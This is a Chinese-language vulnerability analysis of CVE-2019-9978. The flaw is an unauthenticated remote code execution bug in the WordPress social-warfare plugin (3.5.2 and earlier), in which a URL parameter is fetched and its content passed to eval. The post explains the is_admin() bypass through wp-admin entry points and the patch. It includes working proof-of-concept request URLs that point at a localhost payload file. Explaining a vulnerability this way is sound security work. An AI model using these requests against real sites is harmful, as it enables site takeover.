social-warfare是一款 WordPress社交分享按钮插件。 该插件被wordpress用户广泛的应用: 从官网看,该插件官方的统计是超过90万的下载量

social-warfare <= 3.5.2版本中,程序没有对传入参数进行严格控制以及过滤,导致攻击者可构造恶意payload,无需后台权限,直接造成远程命令执行漏洞

背景介绍

social-warfare是一款 WordPress社交分享按钮插件。 不同于大多数WordPress社交分享插件,social-warfar最大的优势在于其轻便性与高效性。它不会像其他共享插件一样减慢网站速度,这也是很多用户使用其作为自己网站社交分享插件的原因。

该插件被wordpress用户广泛的应用: 从官网看,该插件官方的统计是超过90万的下载量

漏洞描述

social-warfare <= 3.5.2版本中,程序没有对传入参数进行严格控制以及过滤,导致攻击者可构造恶意payload,无需后台权限,直接造成远程命令执行漏洞。

攻击成功的条件只需要如下两条:

只要符合以上两个条件,无需复杂的payload构造,即可通过简简单单的一个get请求,远程执行任意代码。
与wordpress自身漏洞修补不同,对于插件的漏洞,wordpress并不会在后台对该插件进行自动升级,仅仅是提示有新版本可用。

简言之,由于该机制的存在,目前还有大部分使用该插件的站长,所使用着仍存在漏洞版本的social-warfare插件,面临着被攻击的风险。

与此同时,这个漏洞,还是一个洞中洞,开发者的一连串失误,将该漏洞威胁等级逐步增高。

 

受影响的系统版本

social-warfare<= 3.5.2

 

漏洞编号

CVE-2019-9978

 

漏洞细节

social-warfare安装后如下图

如图中红框所见,该插件提供了一个简洁易用的分享功能栏。

首先,通过github的commit记录,找到漏洞触发点

漏洞触发点位于/wp-content/plugins/social-warfare-3.5.2/lib/utilities/SWP_Database_Migration.php中的debug_parameters方法中

首先分析下debug_parameters方法

该方法提供了一种允许更容易调试数据库迁移功能的方法。

先来看下get_user_options功能的代码块

此处功能模块加载wp-content/plugins/social-warfare-3.5.2/lib/utilities/SWP_Database_Migration.php 中initialize_database方法中的$defaults数组中的配置信息,如下图

在访问与执行该功能模块后,返回相应的配置信息

接下来分析漏洞触发点 位于如下图中的if分支中

也就是在’load_options’这个功能模块中。该功能模块,是开发者用来调试数据库迁移功能的,在对用户实现实际的业务功能中,该模块并没有被使用过。

逐行分析下此功能模块 首先,可以看到如下图代码块:

如红框中所见,这里的代码看起来,需要通过is_admin()方法的校验。看起来,这里需要有admin权限才可以执行后续代码触发漏洞。按照以往经验,这是一个需要后台权限才可以代码执行的漏洞(但这里的推测并不正确,具体的见下文分析)

紧接着,通过file_get_contents方法,发送请求

其中的$_GET[‘swp_url’]我们可控,例如:

http://127.0.0

这样file_get_contents会访问 http://127.0.0.1/1.php?swp_debug=get_user_options,并将我们构造好的payload传递给$options变量 到此为止,我们通过构造链接传入file_get_contents,达到完全可控$options变量中的内容的目的

接下来,会从$options变量中提取出内容,并进行解析,如下图

随后,将解析出的$options值拼接后赋予$array,如使用我们案例中的1.php,那么$array的值为:return phpinfo()

接下来,$array中的值会传递入eval中,造成代码执行

实际效果如下图

漏洞分析到此结束,本次漏洞影响很大,但漏洞自身没有什么亮点

接下来,看一下官方是如何修补的:

通过github的commit记录,获取此次的修补方案。

此次修补,将lib/utilities/SWP_Database_Migration.php中的221-284行,将debug_parameters方法中存在问题的load_options模块代码全部删除 所以不存在绕过补丁的可能性。

在分析此漏洞时,有几处有意思的地方,和大家分享一下:

思考一:

先来看下如下操作:

首先,我们退出wordpress登陆

可见,此时我们并没有登陆,也没有admin权限

接着,我们访问poc

http://127.0.0.1/wordpress/wp-admin/admin-post.php?swp_debug=load_options&swp_url=http://127.0.0.1/1.php

payload仍然可以触发

回顾上文此处

在漏洞分析环节,我们的猜测是,由于is_admin方法的校验,此处应该是后台漏洞,但是在没有登陆的情况下,仍然触发了。

这是为什么呢?

原因如下: 先来看看is_admin方法是如何实现的

位于/wp-includes/load.php中

可以看到,有一个if-elseif判断

在elseif中判断defined (‘WP_ADMIN’)的值

由于我们构造的payload,入口是admin-post.php

看一下admin-post.php 第3行将WP_ADMIN定义为true

也就是说,is_admin方法,检查的是:此时运行时常量WP_ADMIN的值是否为true。

在wordpress中,WP_ADMIN只是用来标识该文件是否为后台文件。大多数后台文件,都会在脚本中定义WP_ADMIN为true(例如wp-admin目录下的admin-post.php等), 因此is_admin方法检测通过时,只能说明此是通过后台文件作为入口,调用debug_parameters方法,并不能有效的验证此时访问者的身份是否是admin

前台index.php无法触发

wp-admin目录下的about.php可以触发

可见,wp-admin下任意文件为入口,都可以触发该漏洞,也就是说,在构造payload以及进行防护时,需要注意

http://127.0.0.1/wordpress/wp-admin/[xxx].php?swp_debug=load_options&swp_url=http://127.0.0.1/1.php

这里xxx可以是绝大多数后台php文件

思考二:

访问http://127.0.0.1/wordpress/index.php?swp_debug=get_user_options 时,是如何将get请求中的swp_debug=get_user_options与get_user_options功能模块关联起来,调用此功能模块执行相应的功能呢?

同理,当访问http://127.0.0.1/wordpress/index.php?swp_debug=load_options 时,后台是如何解析get请求,并找到load_options模块的?

开始的时候,笔者以为是有相关的路由配置(类似于django中的url解析),或者说是类似MVC结构中的控制器(类似thinkphp中的url普通模式http://localhost/?m=home&c=user&a=login&var=value)这样的结构,但实际真相很简单:

见下图,SWP_Utility::debug方法

在debug_parameters方法中的所有if分支中逐个执行debug方法,逐个将debug方法内注册的值(’load_options’、’get_user_options’等)和get请求中swp_debug的值进行比较,如果一样,则执行该功能模块的代码,如果不一样,则进入下个if中。道理同等于switch